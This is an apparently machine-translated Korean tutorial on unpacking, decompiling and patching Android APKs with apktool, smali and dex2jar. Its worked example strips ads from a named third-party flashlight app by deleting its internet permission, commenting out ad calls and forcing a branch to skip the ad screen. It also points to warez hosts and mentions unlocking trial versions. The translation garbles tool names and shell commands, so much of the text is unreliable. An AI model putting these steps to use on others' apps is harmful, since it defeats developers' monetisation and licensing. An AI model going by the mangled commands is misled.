때로는 일부 Android 애플리케이션이 사용자에게 적합하지 않은 경우가 있습니다. 예를 들어 성가신 광고가 있습니다. 그리고 이것은 다음과 같이 발생합니다-모든 사람들이 프로그램에 만족하지만, 그 안에있는 번역 만 곡선이거나 전혀 아닙니다. 또는 예를 들어 프로그램은 시험판이지만 정식 버전을 얻을 수있는 방법은 없습니다. 차이를 만드는 방법?

소개

이 기사에서는 APK 패키지를 응용 프로그램과 구문 분석하고 내부 구조를 고려하고 바이트 코드를 디스 어셈블 및 디 컴파일하는 방법에 대해 이야기하고 응용 프로그램을 변경하여 하나 또는 다른 이점을 얻을 수있는 방법에 대해 설명합니다.

이 모든 작업을 직접 수행하려면 응용 프로그램 자체의 설명 및 액세스 권한부터 화면에 표시 될 행 저장에 이르기까지 Android 응용 프로그램을 작성하는 데 사용되는 Java 언어 및 Android의 모든 곳에서 사용되는 XML 언어에 대한 최소한의 기본 지식이 필요합니다. 또한 특수 콘솔 소프트웨어를 처리 할 수있는 기능이 필요합니다.

그렇다면 Android 용 모든 소프트웨어가 배포되는 APK 패키지는 무엇입니까?

디 컴파일 어플리케이션

이 기사에서는 디스 어셈블 된 애플리케이션 코드로만 작업했지만 대규모 애플리케이션을 더 심각하게 변경하면 smali 코드를 이해하기가 훨씬 더 어려워집니다. 다행히도 우리는 dex 코드를 Java 코드로 디 컴파일 할 수 있는데,이 코드는 독창적이지는 않지만 다시 컴파일되지는 않지만 애플리케이션의 논리를 읽고 이해하기가 훨씬 쉽습니다. 이를 위해서는 두 가지 도구가 필요합니다.

  • dex2jar-Java 코드를 얻을 수있는 Dalvik 바이트 코드를 JVM 바이트 코드로 변환합니다.
  • jd-gui-디 컴파일러 자체로 JVM 바이트 코드에서 읽을 수있는 Java 코드를 얻을 수 있습니다. 또는 Jad (www.varaneckas.com/jad)를 사용할 수 있습니다. 비록 오래되었지만 Jd-gui보다 더 읽기 쉬운 코드를 생성하는 경우가 있습니다.

다음과 같이 사용하십시오. 먼저 dex2jar를 실행하여 apk 패키지의 경로를 인수로 지정하십시오.

   % dex2jar.sh mail.apk

결과적으로 mail.jar Java 패키지가 현재 디렉토리에 나타나며 Java 디렉토리를보기 위해 jd-gui에서 이미 열 수 있습니다.

장치 APK 패키지 및 영수증

실제로 Android 애플리케이션 패키지는 일반 ZIP 파일이므로 컨텐츠를보고 압축을 풀기 위해 특별한 도구가 필요하지 않습니다. Windows 용 아카이버-7zip 또는 Linux의 콘솔 압축 풀기가 있으면 충분합니다. 그러나 이것은 포장지에 관한 것입니다. 안에 무엇입니까? 내부의 경우 일반적으로 다음과 같은 구조를 갖습니다.

  • 메타 -INF /  -응용 프로그램의 디지털 인증서, 작성자를 확인하고 패키지 파일의 체크섬을 포함합니다.
  • res /-응용 프로그램이 작업에 사용하는 다양한 리소스 (예 : 이미지, 인터페이스의 선언적 설명 및 기타 데이터);
  • AndroidManifest.xml  -응용 프로그램 설명. 여기에는 예를 들어 필요한 권한 목록, 필요한 Android 버전 및 필요한 화면 해상도가 포함됩니다.
  • classes.dex  -Dalvik 가상 머신을위한 컴파일 된 애플리케이션 바이트 코드;
  • resources.arsc  -또한 리소스이지만 다른 종류의-특히 문자열 (이 파일은 Russification에 사용될 수 있습니다!)

나열된 파일과 디렉토리는 전부는 아니지만 대부분의 APK에 있습니다. 그러나 몇 가지 더 일반적인 파일 / 디렉토리를 언급 할 가치가 있습니다.

  • 자산  -자원의 유사체. 가장 큰 차이점은 리소스에 액세스하려면 식별자를 알아야하지만 응용 프로그램 코드의 AssetManager.list () 메서드를 사용하여 자산 목록을 동적으로 얻을 수 있다는 것입니다.
  • lib  -NDK (Native Development Kit)를 사용하여 작성된 기본 Linux 라이브러리.

이 디렉토리는 게임 제조업체에서 C / C ++로 작성된 게임 엔진을 배치하고 고성능 애플리케이션 (예 : Chrome)의 작성자를 배치합니다. 우리는 장치를 알아 냈습니다. 그러나 관심있는 응용 프로그램의 패키지 파일을 얻는 방법은 무엇입니까? 루트없이 장치에서 APK 파일을 가져올 수 없으며 (/ data / app 디렉토리에 있음) 루팅이 항상 권장되는 것은 아니므로 응용 프로그램 파일을 컴퓨터로 가져 오는 방법에는 적어도 세 가지가 있습니다.

  • chrome 용 APK 다운로더 확장 프로그램;
  • 실제 APK Leecher 앱;
  • 다양한 파일 호스팅 및 warezniki.

어느 것을 사용할지는 맛의 문제입니다. 우리는 별도의 응용 프로그램을 사용하는 것을 선호하므로 Real APK Leecher의 사용법에 대해 설명합니다. 특히 Java로 작성되었으므로 Windows에서도 심지어 nix에서도 작동합니다.

프로그램을 시작한 후 이메일, 비밀번호 및 장치 ID의 세 필드를 입력하고 언어를 선택해야합니다. 처음 두 개는 기기에서 사용하는 Google 계정의 이메일 및 비밀번호입니다. 세 번째는 장치 식별자이며 다이얼러의 코드를 다이얼링하여 얻을 수 있습니다. # #8255##   그런 다음 회선 ID를 찾으십시오. 작성시 android- 접두사없이 ID 만 입력하면됩니다.

채우고 저장 한 후 "서버에 연결하는 동안 오류가 발생했습니다"라는 메시지가 종종 나타납니다. Google Play와 관련이 없으므로 무시하고 관심있는 패키지를 찾으십시오.

보기 및 수정

관심있는 패키지를 찾고, 다운로드하고, 압축을 풀고 ... XML 파일을 보려고 할 때 파일이 텍스트가 아니라는 사실에 놀랐습니다. 디 컴파일하는 방법과 일반적인 패키지 작업 방법? SDK를 설치해야합니까? 아니요, SDK가 전혀 필요하지 않습니다. 실제로 APK 패키지의 포장 풀기, 수정 및 포장을위한 모든 단계에는 다음 도구가 필요합니다.

  • zIP 아카이버  포장 풀기 및 포장;
  • 말리  -Dalvik 가상 머신 바이트 코드 어셈블러 / 디스어셈블러 (code.google.com/p/smali);
  • 적응하다  -리소스를 포장하는 도구 (기본적으로 리소스는 응용 프로그램 성능을 최적화하기 위해 이진 형식으로 저장 됨). Android SDK에 포함되어 있지만 별도로 구입할 수 있습니다.
  • 서명자  -수정 된 패키지를 디지털 서명하는 도구 (bit.ly/Rmrv4M).

이러한 도구를 모두 별도로 사용할 수는 있지만 불편하기 때문에 기본적으로 구축 된 고급 소프트웨어를 사용하는 것이 좋습니다. Linux 또는 Mac OS X에서 작업하는 경우 apktool이라는 도구가 있습니다. 이진 XML 및 arsc 파일을 포함하여 자원을 원래 형태로 풀고 수정 된 자원으로 패키지를 다시 빌드 할 수 있지만 패키지에 서명 할 수 없으므로 서명자 유틸리티를 수동으로 실행해야합니다. 유틸리티가 Java로 작성 되었음에도 불구하고 설치는 다소 비표준입니다. 먼저 jar 파일 자체를 가져옵니다.

   $ cd / tmp $ wget http://bit.ly/WC3OCz $ tar -xjf apktool1.5.1.tar.bz2

   $ wget http://bit.ly/WRjEc7 $ tar -xjf apktool-install-linux-r05-ibot.tar.bz2

$ mv apktool.jar ~ / bin $ mv apktool-install-linux-r05-ibot / * ~ / bin $ 내보내기 경로 \u003d ~ / bin : $ PATH

Windows에서 작업하는 경우 Virtual Ten Studio라는 훌륭한 도구가 있습니다.이 도구는 apktool 자체를 포함하여 이러한 모든 도구를 축적하지만 CLI 인터페이스 대신 사용자에게 작업을 수행 할 수있는 직관적 인 그래픽 인터페이스를 제공합니다 몇 번의 클릭만으로 포장 풀기, 분해 및 디 컴파일. 이 도구는 기증 용 도구입니다. 즉, 때때로 라이센스를 받기위한 제안과 함께 창이 나타나지만 결국에는 허용됩니다. 몇 분 안에 인터페이스를 알아낼 수 있으므로 설명하는 것은 의미가 없습니다. 그러나 콘솔 특성으로 인해 apktool에 대해 자세히 설명해야합니다.


apktool 옵션을 고려하십시오. 즉, d (디코딩), b (빌드) 및 if (설치 프레임 워크)의 세 가지 주요 명령이 있습니다. 처음 두 명령으로 모든 것이 명확하면 세 번째 조건부 연산자는 무엇을합니까? 시스템 패키지를 준비 할 때 필요한 지정된 UI 프레임 워크의 압축을 풉니 다.

첫 번째 명령에 가장 흥미로운 옵션을 고려하십시오.

  • -s  -dex 파일을 분해하지 마십시오.
  • -r  -자원을 개봉하지 마십시오.
  • -b  -dex 파일을 분해 한 결과에 디버깅 정보를 삽입하지 마십시오.
  • -프레임 경로  -내장 된 apktool 대신 지정된 UI 프레임 워크를 사용하십시오. 이제 명령 b에 대한 몇 가지 옵션을 고려하십시오.
  • -f  -변경 사항을 확인하지 않고 강제 조립;
  • -a  -어떤 이유로 다른 소스에서 사용하려는 경우 aapt 경로 (APK 아카이브를 조립하는 도구)를 지정하십시오.

apktool을 사용하는 것은 매우 간단합니다. 명령 중 하나와 APK 경로를 지정하십시오.

   $ apktool d mail.apk

그 후 압축이 풀리고 분해 된 모든 패키지 파일이 메일 디렉토리에 나타납니다.

준비. 광고 비활성화

물론 이론은 훌륭하지만 포장이 풀린 패키지로 무엇을해야하는지 모른다면 왜 필요한가? 우리 자신에게 이익이되도록 이론을 적용 해 봅시다. 즉, 광고가 보이지 않도록 일부 소프트웨어를 수정합니다. 예를 들어, 가상 토치-가상 토치가되게하십시오. 우리에게는이 소프트웨어가 성가신 광고로 가득 차 있으며 코드의 거친 부분에서 길을 잃지 않을 정도로 단순하기 때문에 이상적입니다.


따라서 위의 방법 중 하나를 사용하여 시장에서 응용 프로그램을 다운로드하십시오. Virtuous Ten Studio를 사용하기로 결정한 경우 응용 프로그램에서 APK 파일을 열고 압축을 풀어 프로젝트를 생성 (파일-\u003e 새 프로젝트) 한 다음 프로젝트의 상황에 맞는 메뉴에서 파일 가져 오기를 선택하십시오. 당신의 선택이 apktool에 떨어 졌다면, 하나의 명령을 실행하십시오 :

   apktool d com.kauf.particle.virtualtorch.apk

그 후, 파일 트리가 com.kauf.particle.virtualtorch 디렉토리에 나타납니다. 이전 섹션에서 설명한 것과 비슷하지만 dex 파일과 apktool.yml 파일 대신 추가 smali 디렉토리가 있습니다. 첫 번째는 응용 프로그램의 실행 가능한 dex 파일의 디스 어셈블 된 코드를 포함하고 두 번째는 apktool이 패키지를 다시 빌드하는 데 필요한 서비스 정보를 포함합니다.

가장 먼저 살펴보아야 할 곳은 AndroidManifest.xml입니다. 그리고 우리는 즉시 다음 줄을 만납니다.

그녀는 인터넷 연결을 사용할 권한을 응용 프로그램에 제공 할 책임이 있다고 추측하기 쉽습니다. 실제로 광고를 없애고 싶다면 인터넷 응용 프로그램을 금지하는 것으로 충분합니다. 해보십시오. 지정된 행을 삭제하고 apktool을 사용하여 소프트웨어를 빌드하십시오.

   $ apktool b com.kauf.particle.virtualtorch

결과 APK 파일은 com.kauf.particle.virtualtorch / build / 디렉토리에 나타납니다. 그러나 파일에 대한 디지털 서명 및 체크섬이 없기 때문에 설치할 수 없습니다 (META-INF / 디렉토리가 없음). apk-signer 유틸리티를 사용하여 패키지에 서명해야합니다. 런칭 인터페이스는 두 개의 탭으로 구성됩니다. 첫 번째 (키 생성기) 키를 만들고 두 번째 (APK 서명자) 키를 만듭니다. 개인 키를 만들려면 다음 필드를 채우십시오.

  • 대상 파일  -키 스토어의 출력 파일 일반적으로 하나의 키 페어를 저장합니다.
  • 비밀번호  그리고 확인  -볼트의 비밀번호;
  • 별명  -저장소의 키 이름
  • 별명 비밀번호  그리고 확인  -비밀 키 비밀번호;
  • 타당성  -유효 기간 (년) 기본값은 최적입니다.

나머지 필드는 일반적으로 선택 사항이지만 하나 이상을 입력해야합니다.


경고

apk-signer를 사용하여 애플리케이션에 서명하려면 Android SDK를 설치하고 애플리케이션 설정에서 애플리케이션의 전체 경로를 지정해야합니다.

모든 정보는 정보 제공의 목적으로 만 제공됩니다. 편집자 나 저자 모두이 기사의 자료로 인해 발생할 수있는 피해에 대해 책임을지지 않습니다.

이제이 키로 APK에 서명 할 수 있습니다. APK 서명자 탭에서 새로 생성 된 파일을 선택하고 암호, 키 별명 및 암호를 입력 한 다음 APK 파일을 찾아 "서명"단추를 굵게 클릭하십시오. 모든 것이 잘되면 패키지에 서명합니다.

정보

자체 키로 패키지에 서명 했으므로 원래 응용 프로그램과 충돌하므로 시장을 통해 소프트웨어를 업데이트하려고하면 오류가 발생합니다.

디지털 서명은 타사 소프트웨어에서만 필요하므로 / system / app / 디렉토리로 복사하여 설치된 시스템 응용 프로그램을 수정하는 경우 서명 할 필요가 없습니다.

그 후, 우리는 패키지를 스마트 폰에 떨어 뜨리고 설치하고 시작합니다. Voila, 광고가 사라졌습니다! 그러나 인터넷이 없거나 해당 권한이 없다는 메시지가 나타났습니다. 이론적으로는 이것으로 충분할 수 있지만 메시지는 성가신 것으로 보이며 솔직히 말해서 우리는 바보 응용 프로그램으로 운이 좋았습니다. 일반적으로 작성된 소프트웨어는 자격 증명을 명확하게하거나 인터넷 연결의 사용 가능성을 확인하고, 그렇지 않으면 단순히 시작을 거부합니다. 이 경우 어떻게해야합니까? 물론 코드를 편집하십시오.

일반적으로 응용 프로그램 작성자는 응용 프로그램을 시작하거나 해당 응용 프로그램의 "활동"(즉, 응용 프로그램 화면) 중 하나에 광고 및 호출 메서드를 표시하기위한 특수 클래스를 만듭니다. 이 클래스들을 찾아 보자. 우리는 smali 디렉토리로 이동 한 다음 com (org에는 열린 그래픽 라이브러리 cocos2d 만 있음), kauf (개발자 이름 및 모든 코드가 있기 때문에)-그리고 마케팅 디렉토리입니다. 내부에는 smali 확장자를 가진 많은 파일이 있습니다. 이것들은 클래스이며, 가장 주목할만한 것은 Ad.smali 클래스이며, 그 이름에 따라 정확히 광고가 표시되는 것을 추측하기 쉽습니다.

우리는 작업의 논리를 바꿀 수 있지만 응용 프로그램 자체에서 메소드 호출을 어리석게 제거하는 것이 훨씬 간단합니다. 따라서 우리는 마케팅 디렉토리를 빠져 나가서 인접 파티클 디렉토리로 이동 한 다음 virtualtorch로갑니다. 특히 여기에 MainActivity.smali 파일이 있습니다. 이것은 Android SDK에 의해 생성 된 표준 Android 클래스이며 응용 프로그램의 진입 점으로 설정됩니다 (C의 주요 기능과 유사). 편집 할 파일을여십시오.

내부는 smali 코드 (로컬 어셈블러)입니다. 낮은 수준의 특성으로 인해 읽기가 매우 혼란스럽고 읽기 어려우므로 학습하지는 않지만 코드에서 Ad 클래스에 대한 모든 참조를 찾아서 주석을 달기 만하면됩니다. 검색에서 "Ad"라는 문자열을 입력하고 25 행으로 이동합니다.

현장 비공개 광고 : Lcom / kauf / 마케팅 / 광고;

Ad 클래스의 객체를 저장하기위한 광고 필드를 만듭니다. 라인 앞에 ### 기호를 설정하여 주석을 답니다. 계속 검색합니다. 423 행 :

새로운 인스턴스 v3, Lcom / kauf / 마케팅 / 광고;

이것은 객체 생성이 이루어지는 곳입니다. 주석 달기. 검색을 계속하고 433, 435, 466, 468, 738, 740, 800 및 802 행에서 Ad 클래스의 메소드에 액세스합니다. 주석 달기. 모든 것처럼. 저장하십시오. 이제 패키지를 다시 조립하고 기능과 광고를 확인해야합니다. 실험의 순수성을 위해 AndroidManifest.xml에서 제거 된 행을 반환하고 패키지를 수집하고 서명하고 설치합니다.

   우리 실험 토끼. 눈에 보이는 광고

죄송합니다! 응용 프로그램이 실행되는 동안에 만 광고가 사라졌지 만 소프트웨어를 시작할 때 표시되는 기본 메뉴에는 남아있었습니다. 잠깐만 진입 점은 MainActivity 클래스이며 응용 프로그램이 실행되는 동안 보급 알림이 사라졌지 만 주 메뉴에 남아 있었으므로 진입 점이 다릅니다? 실제 진입 점을 표시하려면 AndroidManifest.xml 파일을 다시여십시오. 그리고 네, 다음과 같은 줄이 있습니다 :

그들은 android.intent.category.LAUNCHER 범주에서 의도 (이벤트) android.intent.action.MAIN의 생성에 응답하여 Start라는 활동이 시작되어야한다고 알려줍니다. 이 이벤트는 실행기에서 응용 프로그램 아이콘을 누를 때 생성되므로 시작점, 즉 시작 클래스를 정의합니다. 프로그래머는 먼저 기본 MainActivity 클래스 인 기본 메뉴없이 응용 프로그램을 작성한 다음 메뉴를 포함하고 Start 클래스에 설명 된 새 창 (활동)을 추가하고 수동으로 진입 점으로 만들었습니다.

Start.smali 파일을 열고 다시“Ad”줄을 찾으십시오. 우리는 153 번과 155 번 줄에서 FirstAd 클래스에 대한 언급을 발견했습니다. 또한 소스 코드에 있으며 이름으로 판단하면 주 화면에 광고를 게재하는 책임이 있습니다. 더 자세히 살펴보면,이 인스턴스와 관련된 컨텍스트가있는 FirstAd 클래스 및 의도의 인스턴스를 만든 다음 클래스 인스턴스를 만들기 전에 정확히 조건부 전환 인 cond_10 레이블을 만듭니다.

if-ne p1, v0 ,: cond_10 .line 74 새로운 인스턴스 v0, Landroid / 콘텐츠 / 의도; ... : cond_10

대부분의 경우 프로그램은 어떻게 든 메인 화면에 광고를 게재할지 여부를 임의로 계산하고, 그렇지 않은 경우 즉시 cond_10으로 이동합니다. 좋아, 우리는 그녀의 작업을 단순화하고 조건부 전환을 무조건으로 바꿉니다.

   # if-ne p1, v0 ,: cond_10 이동 : cond_10

코드에 FirstAd에 대한 언급이 더 이상 없으므로 파일을 닫고 apktool을 사용하여 가상 토치를 다시 조립하십시오. 스마트 폰에 카피, 인스톨, 런칭. Voila, 모든 광고가 사라졌고 우리 모두에게 축하를 전합니다.

요약

이 기사는 Android 애플리케이션을 열고 수정하는 방법에 대한 간략한 소개입니다. 보호 제거, 난독 처리 된 코드 분석, 응용 프로그램 리소스의 변환 및 교체, Android NDK를 사용하여 작성된 응용 프로그램 수정 등 많은 질문이 남아 있습니다. 그러나 기본 지식을 가지고이 모든 것을 이해하는 것은 시간 문제 일뿐입니다.

이것을 공유하십시오